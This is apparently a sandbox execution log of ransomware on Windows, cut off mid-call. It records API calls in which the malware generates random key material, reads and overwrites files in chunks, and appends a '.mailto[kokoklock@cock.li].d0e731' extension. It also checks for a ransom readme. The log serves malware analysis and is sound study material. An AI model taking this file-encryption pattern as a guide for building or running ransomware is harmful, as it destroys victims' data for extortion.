[0166.048] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0166.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0166.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0166.048] NtQuerySystemTime (in: CurrentTime=0x8fefd84 | out: CurrentTime=0x8fefd84*=132121213233709910) returned 0x0 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xdbb2d5b9 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x4bfa35c8 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xf3208998 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x612456c6 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xda4897b [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xccfc8434 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x358e12ca [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xfe37ed34 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x7b36007f [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xca71d16d [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xbe61e322 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x610e8e3b [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x443abb49 [0166.048] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xdeaeb937 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x34ba8992 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x96bac764 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x69373a3a [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xb56aaba3 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x32eb7805 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xcaaf7f11 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xbb589a5e [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x2cc29ea [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x29bb8b9d [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x78668cba [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x20186f8c [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xed1f9515 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xd35ba4dc [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xc2d50dc7 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x57ad5d2 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x2d1b6293 [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0x35750daf [0166.049] RtlRandom (in: Seed=0x8fefd90 | out: Seed=0x8fefd90) returned 0xef3ab152 [0166.058] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0166.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0166.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0166.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.060] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.060] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8fefd44, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x8fefd44*=0x4096, lpOverlapped=0x0) returned 1 [0166.061] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0166.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0166.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0166.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0166.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0166.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.062] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8fefd44, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x8fefd44*=0x4096, lpOverlapped=0x0) returned 1 [0166.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.063] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.063] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8fefd44, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x8fefd44*=0x4096, lpOverlapped=0x0) returned 1 [0166.063] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87230 [0166.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0166.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0166.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0166.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0166.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4168 [0166.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4168) returned 1 [0166.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0166.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0166.064] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8fefd44, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x8fefd44*=0x4096, lpOverlapped=0x0) returned 1 [0166.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.065] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x2d4ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.065] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8fefd44, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x8fefd44*=0x4096, lpOverlapped=0x0) returned 1 [0166.065] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x2d4ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.065] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0166.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab88 [0166.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46b8 [0166.066] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe46b8) returned 1 [0166.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4118 [0166.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40f0 [0166.066] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40f0) returned 1 [0166.066] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab88) returned 1 [0166.066] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0166.066] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8fefd44, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x8fefd44*=0x4096, lpOverlapped=0x0) returned 1 [0166.066] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8fefda0, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x8fefda0*=0x20, lpOverlapped=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x2f8a770*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8fefda0, lpOverlapped=0x0 | out: lpBuffer=0x2f8a770*, lpNumberOfBytesWritten=0x8fefda0*=0x20, lpOverlapped=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4118*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8fefda0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4118*, lpNumberOfBytesWritten=0x8fefda0*=0x20, lpOverlapped=0x0) returned 1 [0166.067] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8fefda8, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0x8fefda8*=0x8, lpOverlapped=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x8fefdc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8fefda8, lpOverlapped=0x0 | out: lpBuffer=0x8fefdc0*, lpNumberOfBytesWritten=0x8fefda8*=0x4, lpOverlapped=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8fefda8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x8fefda8*=0x4, lpOverlapped=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8fefda8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x8fefda8*=0x6c, lpOverlapped=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x52c, lpBuffer=0x2f8ac20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8fefda8, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac20*, lpNumberOfBytesWritten=0x8fefda8*=0x20, lpOverlapped=0x0) returned 1 [0166.068] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8fefda8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x8fefda8*=0x4, lpOverlapped=0x0) returned 1 [0166.068] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0166.068] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0166.068] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0166.068] CloseHandle (hObject=0x52c) returned 1 [0166.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc41c0 [0166.068] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" [0166.068] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.068] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.069] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0166.069] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87c98 [0166.069] wcscpy (in: _Dest=0x2f87c98, _Source="C:\\588bce7c90097ed212\\Client\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0166.069] wcscat (in: _Dest=0x2f87c98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" [0166.069] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\d0e731-readme.txt")) returned 0x20 [0166.070] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87c98) returned 1 [0166.070] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ce28) returned 1 [0166.070] RtlExitUserThread (Status=0x1) Thread: id = 1601 os_tid = 0xfe0 [0166.071] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.071] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.071] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.071] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x906fe54 | out: lpFileSize=0x906fe54*=39234) returned 1 [0166.071] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x993e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.071] ReadFile (in: hFile=0x52c, lpBuffer=0x906fe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x906fe24, lpOverlapped=0x0 | out: lpBuffer=0x906fe28*, lpNumberOfBytesRead=0x906fe24*=0x4, lpOverlapped=0x0) returned 1 [0166.073] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4208 [0166.073] NtQuerySystemTime (in: CurrentTime=0x906fe00 | out: CurrentTime=0x906fe00*=132121213233917079) returned 0x0 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x84872309 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x7b6093bb [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x6ef01d00 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x91c59afb [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x4f0ef5f0 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x6179fe1f [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x3f646c5a [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x88cbc3de [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xbb61e166 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x61a26f3b [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x4a656f8b [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x396da87 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xb940eff4 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x95975d78 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x83cf0cf5 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x15853e95 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xe0b23d3e [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x957ceba5 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xf5eb2130 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xf168b13e [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xff7322b [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xff6d238 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xbd9c240 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x15ce7d45 [0166.073] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x38005234 [0166.074] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x84a5cc86 [0166.074] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x308c305c [0166.074] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x4a32a3d8 [0166.074] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0xf8811bdb [0166.074] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x6ddd3fe7 [0166.074] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x90a16115 [0166.074] RtlRandom (in: Seed=0x906fe0c | out: Seed=0x906fe0c) returned 0x3a60221b [0166.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.084] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.084] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4258 [0166.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.084] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.084] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.084] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x906fdd8, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x906fdd8*=0x4096, lpOverlapped=0x0) returned 1 [0166.085] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4230 [0166.085] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4230) returned 1 [0166.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.086] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x906fdd8, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x906fdd8*=0x4096, lpOverlapped=0x0) returned 1 [0166.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.086] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x9942, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.087] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x906fe10, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x906fe10*=0x20, lpOverlapped=0x0) returned 1 [0166.087] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.087] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.087] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4258*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x906fe24, lpOverlapped=0x0 | out: lpBuffer=0x2fe4258*, lpNumberOfBytesWritten=0x906fe24*=0x8, lpOverlapped=0x0) returned 1 [0166.087] WriteFile (in: hFile=0x52c, lpBuffer=0x906fe3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x906fe24, lpOverlapped=0x0 | out: lpBuffer=0x906fe3c*, lpNumberOfBytesWritten=0x906fe24*=0x4, lpOverlapped=0x0) returned 1 [0166.087] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x906fe24, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x906fe24*=0x4, lpOverlapped=0x0) returned 1 [0166.087] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x906fe24, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x906fe24*=0x6c, lpOverlapped=0x0) returned 1 [0166.087] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x906fe24, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x906fe24*=0x20, lpOverlapped=0x0) returned 1 [0166.087] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x906fe24, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x906fe24*=0x4, lpOverlapped=0x0) returned 1 [0166.087] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4320) returned 1 [0166.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4258) returned 1 [0166.088] CloseHandle (hObject=0x52c) returned 1 [0166.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97218 [0166.088] wcscpy (in: _Dest=0x2f97218, _Source="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0166.088] wcscat (in: _Dest=0x2f97218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") 